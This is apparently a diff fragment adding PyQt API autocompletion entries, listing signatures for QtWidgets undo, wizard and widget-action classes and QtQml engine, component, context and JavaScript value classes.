+QtWidgets.QTreeWidgetItemIterator.IteratorFlags?1(QTreeWidgetItemIterator.IteratorFlags) +QtWidgets.QTreeWidgetItemIterator.IteratorFlags.__init__?1(self, QTreeWidgetItemIterator.IteratorFlags) +QtWidgets.QUndoGroup?1(QObject parent=None) +QtWidgets.QUndoGroup.__init__?1(self, QObject parent=None) +QtWidgets.QUndoGroup.addStack?4(QUndoStack) +QtWidgets.QUndoGroup.removeStack?4(QUndoStack) +QtWidgets.QUndoGroup.stacks?4() -> unknown-type +QtWidgets.QUndoGroup.activeStack?4() -> QUndoStack +QtWidgets.QUndoGroup.createRedoAction?4(QObject, QString prefix='') -> QAction +QtWidgets.QUndoGroup.createUndoAction?4(QObject, QString prefix='') -> QAction +QtWidgets.QUndoGroup.canUndo?4() -> bool +QtWidgets.QUndoGroup.canRedo?4() -> bool +QtWidgets.QUndoGroup.undoText?4() -> QString +QtWidgets.QUndoGroup.redoText?4() -> QString +QtWidgets.QUndoGroup.isClean?4() -> bool +QtWidgets.QUndoGroup.redo?4() +QtWidgets.QUndoGroup.setActiveStack?4(QUndoStack) +QtWidgets.QUndoGroup.undo?4() +QtWidgets.QUndoGroup.activeStackChanged?4(QUndoStack) +QtWidgets.QUndoGroup.canRedoChanged?4(bool) +QtWidgets.QUndoGroup.canUndoChanged?4(bool) +QtWidgets.QUndoGroup.cleanChanged?4(bool) +QtWidgets.QUndoGroup.indexChanged?4(int) +QtWidgets.QUndoGroup.redoTextChanged?4(QString) +QtWidgets.QUndoGroup.undoTextChanged?4(QString) +QtWidgets.QUndoCommand?1(QUndoCommand parent=None) +QtWidgets.QUndoCommand.__init__?1(self, QUndoCommand parent=None) +QtWidgets.QUndoCommand?1(QString, QUndoCommand parent=None) +QtWidgets.QUndoCommand.__init__?1(self, QString, QUndoCommand parent=None) +QtWidgets.QUndoCommand.id?4() -> int +QtWidgets.QUndoCommand.mergeWith?4(QUndoCommand) -> bool +QtWidgets.QUndoCommand.redo?4() +QtWidgets.QUndoCommand.setText?4(QString) +QtWidgets.QUndoCommand.text?4() -> QString +QtWidgets.QUndoCommand.undo?4() +QtWidgets.QUndoCommand.childCount?4() -> int +QtWidgets.QUndoCommand.child?4(int) -> QUndoCommand +QtWidgets.QUndoCommand.actionText?4() -> QString +QtWidgets.QUndoCommand.isObsolete?4() -> bool +QtWidgets.QUndoCommand.setObsolete?4(bool) +QtWidgets.QUndoStack?1(QObject parent=None) +QtWidgets.QUndoStack.__init__?1(self, QObject parent=None) +QtWidgets.QUndoStack.clear?4() +QtWidgets.QUndoStack.push?4(QUndoCommand) +QtWidgets.QUndoStack.canUndo?4() -> bool +QtWidgets.QUndoStack.canRedo?4() -> bool +QtWidgets.QUndoStack.undoText?4() -> QString +QtWidgets.QUndoStack.redoText?4() -> QString +QtWidgets.QUndoStack.count?4() -> int +QtWidgets.QUndoStack.index?4() -> int +QtWidgets.QUndoStack.text?4(int) -> QString +QtWidgets.QUndoStack.createUndoAction?4(QObject, QString prefix='') -> QAction +QtWidgets.QUndoStack.createRedoAction?4(QObject, QString prefix='') -> QAction +QtWidgets.QUndoStack.isActive?4() -> bool +QtWidgets.QUndoStack.isClean?4() -> bool +QtWidgets.QUndoStack.cleanIndex?4() -> int +QtWidgets.QUndoStack.beginMacro?4(QString) +QtWidgets.QUndoStack.endMacro?4() +QtWidgets.QUndoStack.redo?4() +QtWidgets.QUndoStack.setActive?4(bool active=True) +QtWidgets.QUndoStack.setClean?4() +QtWidgets.QUndoStack.setIndex?4(int) +QtWidgets.QUndoStack.undo?4() +QtWidgets.QUndoStack.resetClean?4() +QtWidgets.QUndoStack.canRedoChanged?4(bool) +QtWidgets.QUndoStack.canUndoChanged?4(bool) +QtWidgets.QUndoStack.cleanChanged?4(bool) +QtWidgets.QUndoStack.indexChanged?4(int) +QtWidgets.QUndoStack.redoTextChanged?4(QString) +QtWidgets.QUndoStack.undoTextChanged?4(QString) +QtWidgets.QUndoStack.setUndoLimit?4(int) +QtWidgets.QUndoStack.undoLimit?4() -> int +QtWidgets.QUndoStack.command?4(int) -> QUndoCommand +QtWidgets.QUndoView?1(QWidget parent=None) +QtWidgets.QUndoView.__init__?1(self, QWidget parent=None) +QtWidgets.QUndoView?1(QUndoStack, QWidget parent=None) +QtWidgets.QUndoView.__init__?1(self, QUndoStack, QWidget parent=None) +QtWidgets.QUndoView?1(QUndoGroup, QWidget parent=None) +QtWidgets.QUndoView.__init__?1(self, QUndoGroup, QWidget parent=None) +QtWidgets.QUndoView.stack?4() -> QUndoStack +QtWidgets.QUndoView.group?4() -> QUndoGroup +QtWidgets.QUndoView.setEmptyLabel?4(QString) +QtWidgets.QUndoView.emptyLabel?4() -> QString +QtWidgets.QUndoView.setCleanIcon?4(QIcon) +QtWidgets.QUndoView.cleanIcon?4() -> QIcon +QtWidgets.QUndoView.setStack?4(QUndoStack) +QtWidgets.QUndoView.setGroup?4(QUndoGroup) +QtWidgets.QWhatsThis?1(QWhatsThis) +QtWidgets.QWhatsThis.__init__?1(self, QWhatsThis) +QtWidgets.QWhatsThis.enterWhatsThisMode?4() +QtWidgets.QWhatsThis.inWhatsThisMode?4() -> bool +QtWidgets.QWhatsThis.leaveWhatsThisMode?4() +QtWidgets.QWhatsThis.showText?4(QPoint, QString, QWidget widget=None) +QtWidgets.QWhatsThis.hideText?4() +QtWidgets.QWhatsThis.createAction?4(QObject parent=None) -> QAction +QtWidgets.QWidget.RenderFlags?1() +QtWidgets.QWidget.RenderFlags.__init__?1(self) +QtWidgets.QWidget.RenderFlags?1(int) +QtWidgets.QWidget.RenderFlags.__init__?1(self, int) +QtWidgets.QWidget.RenderFlags?1(QWidget.RenderFlags) +QtWidgets.QWidget.RenderFlags.__init__?1(self, QWidget.RenderFlags) +QtWidgets.QWidgetAction?1(QObject) +QtWidgets.QWidgetAction.__init__?1(self, QObject) +QtWidgets.QWidgetAction.setDefaultWidget?4(QWidget) +QtWidgets.QWidgetAction.defaultWidget?4() -> QWidget +QtWidgets.QWidgetAction.requestWidget?4(QWidget) -> QWidget +QtWidgets.QWidgetAction.releaseWidget?4(QWidget) +QtWidgets.QWidgetAction.event?4(QEvent) -> bool +QtWidgets.QWidgetAction.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QWidgetAction.createWidget?4(QWidget) -> QWidget +QtWidgets.QWidgetAction.deleteWidget?4(QWidget) +QtWidgets.QWidgetAction.createdWidgets?4() -> unknown-type +QtWidgets.QWizard.WizardOption?10 +QtWidgets.QWizard.WizardOption.IndependentPages?10 +QtWidgets.QWizard.WizardOption.IgnoreSubTitles?10 +QtWidgets.QWizard.WizardOption.ExtendedWatermarkPixmap?10 +QtWidgets.QWizard.WizardOption.NoDefaultButton?10 +QtWidgets.QWizard.WizardOption.NoBackButtonOnStartPage?10 +QtWidgets.QWizard.WizardOption.NoBackButtonOnLastPage?10 +QtWidgets.QWizard.WizardOption.DisabledBackButtonOnLastPage?10 +QtWidgets.QWizard.WizardOption.HaveNextButtonOnLastPage?10 +QtWidgets.QWizard.WizardOption.HaveFinishButtonOnEarlyPages?10 +QtWidgets.QWizard.WizardOption.NoCancelButton?10 +QtWidgets.QWizard.WizardOption.CancelButtonOnLeft?10 +QtWidgets.QWizard.WizardOption.HaveHelpButton?10 +QtWidgets.QWizard.WizardOption.HelpButtonOnRight?10 +QtWidgets.QWizard.WizardOption.HaveCustomButton1?10 +QtWidgets.QWizard.WizardOption.HaveCustomButton2?10 +QtWidgets.QWizard.WizardOption.HaveCustomButton3?10 +QtWidgets.QWizard.WizardOption.NoCancelButtonOnLastPage?10 +QtWidgets.QWizard.WizardStyle?10 +QtWidgets.QWizard.WizardStyle.ClassicStyle?10 +QtWidgets.QWizard.WizardStyle.ModernStyle?10 +QtWidgets.QWizard.WizardStyle.MacStyle?10 +QtWidgets.QWizard.WizardStyle.AeroStyle?10 +QtWidgets.QWizard.WizardPixmap?10 +QtWidgets.QWizard.WizardPixmap.WatermarkPixmap?10 +QtWidgets.QWizard.WizardPixmap.LogoPixmap?10 +QtWidgets.QWizard.WizardPixmap.BannerPixmap?10 +QtWidgets.QWizard.WizardPixmap.BackgroundPixmap?10 +QtWidgets.QWizard.WizardButton?10 +QtWidgets.QWizard.WizardButton.BackButton?10 +QtWidgets.QWizard.WizardButton.NextButton?10 +QtWidgets.QWizard.WizardButton.CommitButton?10 +QtWidgets.QWizard.WizardButton.FinishButton?10 +QtWidgets.QWizard.WizardButton.CancelButton?10 +QtWidgets.QWizard.WizardButton.HelpButton?10 +QtWidgets.QWizard.WizardButton.CustomButton1?10 +QtWidgets.QWizard.WizardButton.CustomButton2?10 +QtWidgets.QWizard.WizardButton.CustomButton3?10 +QtWidgets.QWizard.WizardButton.Stretch?10 +QtWidgets.QWizard?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QWizard.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QWizard.addPage?4(QWizardPage) -> int +QtWidgets.QWizard.setPage?4(int, QWizardPage) +QtWidgets.QWizard.page?4(int) -> QWizardPage +QtWidgets.QWizard.hasVisitedPage?4(int) -> bool +QtWidgets.QWizard.visitedPages?4() -> unknown-type +QtWidgets.QWizard.setStartId?4(int) +QtWidgets.QWizard.startId?4() -> int +QtWidgets.QWizard.currentPage?4() -> QWizardPage +QtWidgets.QWizard.currentId?4() -> int +QtWidgets.QWizard.validateCurrentPage?4() -> bool +QtWidgets.QWizard.nextId?4() -> int +QtWidgets.QWizard.setField?4(QString, QVariant) +QtWidgets.QWizard.field?4(QString) -> QVariant +QtWidgets.QWizard.setWizardStyle?4(QWizard.WizardStyle) +QtWidgets.QWizard.wizardStyle?4() -> QWizard.WizardStyle +QtWidgets.QWizard.setOption?4(QWizard.WizardOption, bool on=True) +QtWidgets.QWizard.testOption?4(QWizard.WizardOption) -> bool +QtWidgets.QWizard.setOptions?4(QWizard.WizardOptions) +QtWidgets.QWizard.options?4() -> QWizard.WizardOptions +QtWidgets.QWizard.setButtonText?4(QWizard.WizardButton, QString) +QtWidgets.QWizard.buttonText?4(QWizard.WizardButton) -> QString +QtWidgets.QWizard.setButtonLayout?4(unknown-type) +QtWidgets.QWizard.setButton?4(QWizard.WizardButton, QAbstractButton) +QtWidgets.QWizard.button?4(QWizard.WizardButton) -> QAbstractButton +QtWidgets.QWizard.setTitleFormat?4(Qt.TextFormat) +QtWidgets.QWizard.titleFormat?4() -> Qt.TextFormat +QtWidgets.QWizard.setSubTitleFormat?4(Qt.TextFormat) +QtWidgets.QWizard.subTitleFormat?4() -> Qt.TextFormat +QtWidgets.QWizard.setPixmap?4(QWizard.WizardPixmap, QPixmap) +QtWidgets.QWizard.pixmap?4(QWizard.WizardPixmap) -> QPixmap +QtWidgets.QWizard.setDefaultProperty?4(str, str, object) +QtWidgets.QWizard.setVisible?4(bool) +QtWidgets.QWizard.sizeHint?4() -> QSize +QtWidgets.QWizard.currentIdChanged?4(int) +QtWidgets.QWizard.helpRequested?4() +QtWidgets.QWizard.customButtonClicked?4(int) +QtWidgets.QWizard.back?4() +QtWidgets.QWizard.next?4() +QtWidgets.QWizard.restart?4() +QtWidgets.QWizard.event?4(QEvent) -> bool +QtWidgets.QWizard.resizeEvent?4(QResizeEvent) +QtWidgets.QWizard.paintEvent?4(QPaintEvent) +QtWidgets.QWizard.done?4(int) +QtWidgets.QWizard.initializePage?4(int) +QtWidgets.QWizard.cleanupPage?4(int) +QtWidgets.QWizard.removePage?4(int) +QtWidgets.QWizard.pageIds?4() -> unknown-type +QtWidgets.QWizard.setSideWidget?4(QWidget) +QtWidgets.QWizard.sideWidget?4() -> QWidget +QtWidgets.QWizard.pageAdded?4(int) +QtWidgets.QWizard.pageRemoved?4(int) +QtWidgets.QWizard.visitedIds?4() -> unknown-type +QtWidgets.QWizard.WizardOptions?1() +QtWidgets.QWizard.WizardOptions.__init__?1(self) +QtWidgets.QWizard.WizardOptions?1(int) +QtWidgets.QWizard.WizardOptions.__init__?1(self, int) +QtWidgets.QWizard.WizardOptions?1(QWizard.WizardOptions) +QtWidgets.QWizard.WizardOptions.__init__?1(self, QWizard.WizardOptions) +QtWidgets.QWizardPage?1(QWidget parent=None) +QtWidgets.QWizardPage.__init__?1(self, QWidget parent=None) +QtWidgets.QWizardPage.setTitle?4(QString) +QtWidgets.QWizardPage.title?4() -> QString +QtWidgets.QWizardPage.setSubTitle?4(QString) +QtWidgets.QWizardPage.subTitle?4() -> QString +QtWidgets.QWizardPage.setPixmap?4(QWizard.WizardPixmap, QPixmap) +QtWidgets.QWizardPage.pixmap?4(QWizard.WizardPixmap) -> QPixmap +QtWidgets.QWizardPage.setFinalPage?4(bool) +QtWidgets.QWizardPage.isFinalPage?4() -> bool +QtWidgets.QWizardPage.setCommitPage?4(bool) +QtWidgets.QWizardPage.isCommitPage?4() -> bool +QtWidgets.QWizardPage.setButtonText?4(QWizard.WizardButton, QString) +QtWidgets.QWizardPage.buttonText?4(QWizard.WizardButton) -> QString +QtWidgets.QWizardPage.initializePage?4() +QtWidgets.QWizardPage.cleanupPage?4() +QtWidgets.QWizardPage.validatePage?4() -> bool +QtWidgets.QWizardPage.isComplete?4() -> bool +QtWidgets.QWizardPage.nextId?4() -> int +QtWidgets.QWizardPage.completeChanged?4() +QtWidgets.QWizardPage.setField?4(QString, QVariant) +QtWidgets.QWizardPage.field?4(QString) -> QVariant +QtWidgets.QWizardPage.registerField?4(QString, QWidget, str property=None, object changedSignal=0) +QtWidgets.QWizardPage.wizard?4() -> QWizard +QtQml.qmlClearTypeRegistrations?4() +QtQml.qmlTypeId?4(str, int, int, str) -> int +QtQml.qjsEngine?4(QObject) -> QJSEngine +QtQml.qmlAttachedPropertiesObject?4(type, QObject, bool create=True) -> QObject +QtQml.qmlRegisterRevision?4(type, int, str, int, int, type attachedProperties=0) -> int +QtQml.qmlRegisterSingletonType?4(QUrl, str, int, int, str) -> int +QtQml.qmlRegisterSingletonType?4(type, str, int, int, str, callable) -> int +QtQml.qmlRegisterType?4(QUrl, str, int, int, str) -> int +QtQml.qmlRegisterType?4(type, type attachedProperties=0) -> int +QtQml.qmlRegisterType?4(type, str, int, int, str, type attachedProperties=0) -> int +QtQml.qmlRegisterType?4(type, int, str, int, int, str, type attachedProperties=0) -> int +QtQml.qmlRegisterUncreatableType?4(type, str, int, int, str, QString) -> int +QtQml.qmlRegisterUncreatableType?4(type, int, str, int, int, str, QString) -> int +QtQml.QJSEngine.Extension?10 +QtQml.QJSEngine.Extension.TranslationExtension?10 +QtQml.QJSEngine.Extension.ConsoleExtension?10 +QtQml.QJSEngine.Extension.GarbageCollectionExtension?10 +QtQml.QJSEngine.Extension.AllExtensions?10 +QtQml.QJSEngine?1() +QtQml.QJSEngine.__init__?1(self) +QtQml.QJSEngine?1(QObject) +QtQml.QJSEngine.__init__?1(self, QObject) +QtQml.QJSEngine.globalObject?4() -> QJSValue +QtQml.QJSEngine.evaluate?4(QString, QString fileName='', int lineNumber=1) -> QJSValue +QtQml.QJSEngine.newObject?4() -> QJSValue +QtQml.QJSEngine.newArray?4(int length=0) -> QJSValue +QtQml.QJSEngine.newQObject?4(QObject) -> QJSValue +QtQml.QJSEngine.collectGarbage?4() +QtQml.QJSEngine.installTranslatorFunctions?4(QJSValue object=QJSValue()) +QtQml.QJSEngine.installExtensions?4(QJSEngine.Extensions, QJSValue object=QJSValue()) +QtQml.QJSEngine.newQMetaObject?4(QMetaObject) -> QJSValue +QtQml.QJSEngine.importModule?4(QString) -> QJSValue +QtQml.QJSEngine.newErrorObject?4(QJSValue.ErrorType, QString message='') -> QJSValue +QtQml.QJSEngine.throwError?4(QString) +QtQml.QJSEngine.throwError?4(QJSValue.ErrorType, QString message='') +QtQml.QJSEngine.setInterrupted?4(bool) +QtQml.QJSEngine.isInterrupted?4() -> bool +QtQml.QJSEngine.uiLanguage?4() -> QString +QtQml.QJSEngine.setUiLanguage?4(QString) +QtQml.QJSEngine.uiLanguageChanged?4() +QtQml.QJSEngine.Extensions?1() +QtQml.QJSEngine.Extensions.__init__?1(self) +QtQml.QJSEngine.Extensions?1(int) +QtQml.QJSEngine.Extensions.__init__?1(self, int) +QtQml.QJSEngine.Extensions?1(QJSEngine.Extensions) +QtQml.QJSEngine.Extensions.__init__?1(self, QJSEngine.Extensions) +QtQml.QJSValue.ErrorType?10 +QtQml.QJSValue.ErrorType.GenericError?10 +QtQml.QJSValue.ErrorType.EvalError?10 +QtQml.QJSValue.ErrorType.RangeError?10 +QtQml.QJSValue.ErrorType.ReferenceError?10 +QtQml.QJSValue.ErrorType.SyntaxError?10 +QtQml.QJSValue.ErrorType.TypeError?10 +QtQml.QJSValue.ErrorType.URIError?10 +QtQml.QJSValue.SpecialValue?10 +QtQml.QJSValue.SpecialValue.NullValue?10 +QtQml.QJSValue.SpecialValue.UndefinedValue?10 +QtQml.QJSValue?1(QJSValue.SpecialValue value=QJSValue.UndefinedValue) +QtQml.QJSValue.__init__?1(self, QJSValue.SpecialValue value=QJSValue.UndefinedValue) +QtQml.QJSValue?1(QJSValue) +QtQml.QJSValue.__init__?1(self, QJSValue) +QtQml.QJSValue.isBool?4() -> bool +QtQml.QJSValue.isNumber?4() -> bool +QtQml.QJSValue.isNull?4() -> bool +QtQml.QJSValue.isString?4() -> bool +QtQml.QJSValue.isUndefined?4() -> bool +QtQml.QJSValue.isVariant?4() -> bool +QtQml.QJSValue.isQObject?4() -> bool +QtQml.QJSValue.isObject?4() -> bool +QtQml.QJSValue.isDate?4() -> bool +QtQml.QJSValue.isRegExp?4() -> bool +QtQml.QJSValue.isArray?4() -> bool +QtQml.QJSValue.isError?4() -> bool +QtQml.QJSValue.toString?4() -> QString +QtQml.QJSValue.toNumber?4() -> float +QtQml.QJSValue.toInt?4() -> int +QtQml.QJSValue.toUInt?4() -> int +QtQml.QJSValue.toBool?4() -> bool +QtQml.QJSValue.toVariant?4() -> QVariant +QtQml.QJSValue.toQObject?4() -> QObject +QtQml.QJSValue.toDateTime?4() -> QDateTime +QtQml.QJSValue.equals?4(QJSValue) -> bool +QtQml.QJSValue.strictlyEquals?4(QJSValue) -> bool +QtQml.QJSValue.prototype?4() -> QJSValue +QtQml.QJSValue.setPrototype?4(QJSValue) +QtQml.QJSValue.property?4(QString) -> QJSValue +QtQml.QJSValue.setProperty?4(QString, QJSValue) +QtQml.QJSValue.hasProperty?4(QString) -> bool +QtQml.QJSValue.hasOwnProperty?4(QString) -> bool +QtQml.QJSValue.property?4(int) -> QJSValue +QtQml.QJSValue.setProperty?4(int, QJSValue) +QtQml.QJSValue.deleteProperty?4(QString) -> bool +QtQml.QJSValue.isCallable?4() -> bool +QtQml.QJSValue.call?4(unknown-type args=[]) -> QJSValue +QtQml.QJSValue.callWithInstance?4(QJSValue, unknown-type args=[]) -> QJSValue +QtQml.QJSValue.callAsConstructor?4(unknown-type args=[]) -> QJSValue +QtQml.QJSValue.errorType?4() -> QJSValue.ErrorType +QtQml.QJSValueIterator?1(QJSValue) +QtQml.QJSValueIterator.__init__?1(self, QJSValue) +QtQml.QJSValueIterator.hasNext?4() -> bool +QtQml.QJSValueIterator.next?4() -> bool +QtQml.QJSValueIterator.name?4() -> QString +QtQml.QJSValueIterator.value?4() -> QJSValue +QtQml.QQmlAbstractUrlInterceptor.DataType?10 +QtQml.QQmlAbstractUrlInterceptor.DataType.QmlFile?10 +QtQml.QQmlAbstractUrlInterceptor.DataType.JavaScriptFile?10 +QtQml.QQmlAbstractUrlInterceptor.DataType.QmldirFile?10 +QtQml.QQmlAbstractUrlInterceptor.DataType.UrlString?10 +QtQml.QQmlAbstractUrlInterceptor?1() +QtQml.QQmlAbstractUrlInterceptor.__init__?1(self) +QtQml.QQmlAbstractUrlInterceptor?1(QQmlAbstractUrlInterceptor) +QtQml.QQmlAbstractUrlInterceptor.__init__?1(self, QQmlAbstractUrlInterceptor) +QtQml.QQmlAbstractUrlInterceptor.intercept?4(QUrl, QQmlAbstractUrlInterceptor.DataType) -> QUrl +QtQml.QQmlEngine.ObjectOwnership?10 +QtQml.QQmlEngine.ObjectOwnership.CppOwnership?10 +QtQml.QQmlEngine.ObjectOwnership.JavaScriptOwnership?10 +QtQml.QQmlEngine?1(QObject parent=None) +QtQml.QQmlEngine.__init__?1(self, QObject parent=None) +QtQml.QQmlEngine.rootContext?4() -> QQmlContext +QtQml.QQmlEngine.clearComponentCache?4() +QtQml.QQmlEngine.trimComponentCache?4() +QtQml.QQmlEngine.importPathList?4() -> QStringList +QtQml.QQmlEngine.setImportPathList?4(QStringList) +QtQml.QQmlEngine.addImportPath?4(QString) +QtQml.QQmlEngine.pluginPathList?4() -> QStringList +QtQml.QQmlEngine.setPluginPathList?4(QStringList) +QtQml.QQmlEngine.addPluginPath?4(QString) +QtQml.QQmlEngine.addNamedBundle?4(QString, QString) -> bool +QtQml.QQmlEngine.importPlugin?4(QString, QString, unknown-type) -> bool +QtQml.QQmlEngine.setNetworkAccessManagerFactory?4(QQmlNetworkAccessManagerFactory) +QtQml.QQmlEngine.networkAccessManagerFactory?4() -> QQmlNetworkAccessManagerFactory +QtQml.QQmlEngine.networkAccessManager?4() -> QNetworkAccessManager +QtQml.QQmlEngine.addImageProvider?4(QString, QQmlImageProviderBase) +QtQml.QQmlEngine.imageProvider?4(QString) -> QQmlImageProviderBase +QtQml.QQmlEngine.removeImageProvider?4(QString) +QtQml.QQmlEngine.setIncubationController?4(QQmlIncubationController) +QtQml.QQmlEngine.incubationController?4() -> QQmlIncubationController +QtQml.QQmlEngine.setOfflineStoragePath?4(QString) +QtQml.QQmlEngine.offlineStoragePath?4() -> QString +QtQml.QQmlEngine.baseUrl?4() -> QUrl +QtQml.QQmlEngine.setBaseUrl?4(QUrl) +QtQml.QQmlEngine.outputWarningsToStandardError?4() -> bool +QtQml.QQmlEngine.setOutputWarningsToStandardError?4(bool) +QtQml.QQmlEngine.contextForObject?4(QObject) -> QQmlContext +QtQml.QQmlEngine.setContextForObject?4(QObject, QQmlContext) +QtQml.QQmlEngine.setObjectOwnership?4(QObject, QQmlEngine.ObjectOwnership) +QtQml.QQmlEngine.objectOwnership?4(QObject) -> QQmlEngine.ObjectOwnership +QtQml.QQmlEngine.event?4(QEvent) -> bool +QtQml.QQmlEngine.quit?4() +QtQml.QQmlEngine.warnings?4(unknown-type) +QtQml.QQmlEngine.exit?4(int) +QtQml.QQmlEngine.offlineStorageDatabaseFilePath?4(QString) -> QString +QtQml.QQmlEngine.retranslate?4() +QtQml.QQmlEngine.singletonInstance?4(int) -> object +QtQml.QQmlApplicationEngine?1(QObject parent=None) +QtQml.QQmlApplicationEngine.__init__?1(self, QObject parent=None) +QtQml.QQmlApplicationEngine?1(QUrl, QObject parent=None) +QtQml.QQmlApplicationEngine.__init__?1(self, QUrl, QObject parent=None) +QtQml.QQmlApplicationEngine?1(QString, QObject parent=None) +QtQml.QQmlApplicationEngine.__init__?1(self, QString, QObject parent=None) +QtQml.QQmlApplicationEngine.rootObjects?4() -> unknown-type +QtQml.QQmlApplicationEngine.load?4(QUrl) +QtQml.QQmlApplicationEngine.load?4(QString) +QtQml.QQmlApplicationEngine.loadData?4(QByteArray, QUrl url=QUrl()) +QtQml.QQmlApplicationEngine.setInitialProperties?4(QVariantMap) +QtQml.QQmlApplicationEngine.objectCreated?4(QObject, QUrl) +QtQml.QQmlComponent.Status?10 +QtQml.QQmlComponent.Status.Null?10 +QtQml.QQmlComponent.Status.Ready?10 +QtQml.QQmlComponent.Status.Loading?10 +QtQml.QQmlComponent.Status.Error?10 +QtQml.QQmlComponent.CompilationMode?10 +QtQml.QQmlComponent.CompilationMode.PreferSynchronous?10 +QtQml.QQmlComponent.CompilationMode.Asynchronous?10 +QtQml.QQmlComponent?1(QQmlEngine, QObject parent=None) +QtQml.QQmlComponent.__init__?1(self, QQmlEngine, QObject parent=None) +QtQml.QQmlComponent?1(QQmlEngine, QString, QObject parent=None) +QtQml.QQmlComponent.__init__?1(self, QQmlEngine, QString, QObject parent=None) +QtQml.QQmlComponent?1(QQmlEngine, QString, QQmlComponent.CompilationMode, QObject parent=None) +QtQml.QQmlComponent.__init__?1(self, QQmlEngine, QString, QQmlComponent.CompilationMode, QObject parent=None) +QtQml.QQmlComponent?1(QQmlEngine, QUrl, QObject parent=None) +QtQml.QQmlComponent.__init__?1(self, QQmlEngine, QUrl, QObject parent=None) +QtQml.QQmlComponent?1(QQmlEngine, QUrl, QQmlComponent.CompilationMode, QObject parent=None) +QtQml.QQmlComponent.__init__?1(self, QQmlEngine, QUrl, QQmlComponent.CompilationMode, QObject parent=None) +QtQml.QQmlComponent?1(QObject parent=None) +QtQml.QQmlComponent.__init__?1(self, QObject parent=None) +QtQml.QQmlComponent.status?4() -> QQmlComponent.Status +QtQml.QQmlComponent.isNull?4() -> bool +QtQml.QQmlComponent.isReady?4() -> bool +QtQml.QQmlComponent.isError?4() -> bool +QtQml.QQmlComponent.isLoading?4() -> bool +QtQml.QQmlComponent.errors?4() -> unknown-type +QtQml.QQmlComponent.progress?4() -> float +QtQml.QQmlComponent.url?4() -> QUrl +QtQml.QQmlComponent.create?4(QQmlContext context=None) -> QObject +QtQml.QQmlComponent.createWithInitialProperties?4(QVariantMap, QQmlContext context=None) -> QObject +QtQml.QQmlComponent.beginCreate?4(QQmlContext) -> QObject +QtQml.QQmlComponent.completeCreate?4() +QtQml.QQmlComponent.create?4(QQmlIncubator, QQmlContext context=None, QQmlContext forContext=None) +QtQml.QQmlComponent.creationContext?4() -> QQmlContext +QtQml.QQmlComponent.loadUrl?4(QUrl) +QtQml.QQmlComponent.loadUrl?4(QUrl, QQmlComponent.CompilationMode) +QtQml.QQmlComponent.setData?4(QByteArray, QUrl) +QtQml.QQmlComponent.statusChanged?4(QQmlComponent.Status) +QtQml.QQmlComponent.progressChanged?4(float) +QtQml.QQmlComponent.engine?4() -> QQmlEngine +QtQml.QQmlComponent.setInitialProperties?4(QObject, QVariantMap) +QtQml.QQmlContext?1(QQmlEngine, QObject parent=None) +QtQml.QQmlContext.__init__?1(self, QQmlEngine, QObject parent=None) +QtQml.QQmlContext?1(QQmlContext, QObject parent=None) +QtQml.QQmlContext.__init__?1(self, QQmlContext, QObject parent=None) +QtQml.QQmlContext.isValid?4() -> bool +QtQml.QQmlContext.engine?4() -> QQmlEngine +QtQml.QQmlContext.parentContext?4() -> QQmlContext +QtQml.QQmlContext.contextObject?4() -> QObject +QtQml.QQmlContext.setContextObject?4(QObject) +QtQml.QQmlContext.contextProperty?4(QString) -> QVariant +QtQml.QQmlContext.setContextProperty?4(QString, QObject) +QtQml.QQmlContext.setContextProperty?4(QString, QVariant) +QtQml.QQmlContext.nameForObject?4(QObject) -> QString +QtQml.QQmlContext.resolvedUrl?4(QUrl) -> QUrl +QtQml.QQmlContext.setBaseUrl?4(QUrl) +QtQml.QQmlContext.baseUrl?4() -> QUrl +QtQml.QQmlContext.setContextProperties?4(unknown-type) +QtQml.QQmlContext.PropertyPair.name?7 +QtQml.QQmlContext.PropertyPair.value?7 +QtQml.QQmlContext.PropertyPair?1() +QtQml.QQmlContext.PropertyPair.__init__?1(self) +QtQml.QQmlContext.PropertyPair?1(QQmlContext.PropertyPair) +QtQml.QQmlContext.PropertyPair.__init__?1(self, QQmlContext.PropertyPair) +QtQml.QQmlImageProviderBase.Flag?10 +QtQml.QQmlImageProviderBase.Flag.ForceAsynchronousImageLoading?10 +QtQml.QQmlImageProviderBase.ImageType?10 +QtQml.QQmlImageProviderBase.ImageType.Image?10 +QtQml.QQmlImageProviderBase.ImageType.Pixmap?10 +QtQml.QQmlImageProviderBase.ImageType.Texture?10 +QtQml.QQmlImageProviderBase.ImageType.ImageResponse?10 +QtQml.QQmlImageProviderBase?1(QQmlImageProviderBase) +QtQml.QQmlImageProviderBase.__init__?1(self, QQmlImageProviderBase) +QtQml.QQmlImageProviderBase.imageType?4() -> QQmlImageProviderBase.ImageType +QtQml.QQmlImageProviderBase.flags?4() -> QQmlImageProviderBase.Flags +QtQml.QQmlImageProviderBase.Flags?1() +QtQml.QQmlImageProviderBase.Flags.__init__?1(self) +QtQml.QQmlImageProviderBase.Flags?1(int) +QtQml.QQmlImageProviderBase.Flags.__init__?1(self, int) +QtQml.QQmlImageProviderBase.Flags?1(QQmlImageProviderBase.Flags) +QtQml.QQmlImageProviderBase.Flags.__init__?1(self, QQmlImageProviderBase.Flags) +QtQml.QQmlError?1() +QtQml.QQmlError.__init__?1(self) +QtQml.QQmlError?1(QQmlError) +QtQml.QQmlError.__init__?1(self, QQmlError) +QtQml.QQmlError.isValid?4() -> bool +QtQml.QQmlError.url?4() -> QUrl +QtQml.QQmlError.setUrl?4(QUrl) +QtQml.QQmlError.description?4() -> QString +QtQml.QQmlError.setDescription?4(QString) +QtQml.QQmlError.line?4() -> int +QtQml.QQmlError.setLine?4(int) +QtQml.QQmlError.column?4() -> int +QtQml.QQmlError.setColumn?4(int) +QtQml.QQmlError.toString?4() -> QString +QtQml.QQmlError.object?4() -> QObject +QtQml.QQmlError.setObject?4(QObject) +QtQml.QQmlError.messageType?4() -> QtMsgType +QtQml.QQmlError.setMessageType?4(QtMsgType) +QtQml.QQmlExpression?1() +QtQml.QQmlExpression.__init__?1(self) +QtQml.QQmlExpression?1(QQmlContext, QObject, QString, QObject parent=None) +QtQml.QQmlExpression.__init__?1(self, QQmlContext, QObject, QString, QObject parent=None) +QtQml.QQmlExpression?1(QQmlScriptString, QQmlContext context=None, QObject scope=None, QObject parent=None) +QtQml.QQmlExpression.__init__?1(self, QQmlScriptString, QQmlContext context=None, QObject scope=None, QObject parent=None) +QtQml.QQmlExpression.engine?4() -> QQmlEngine 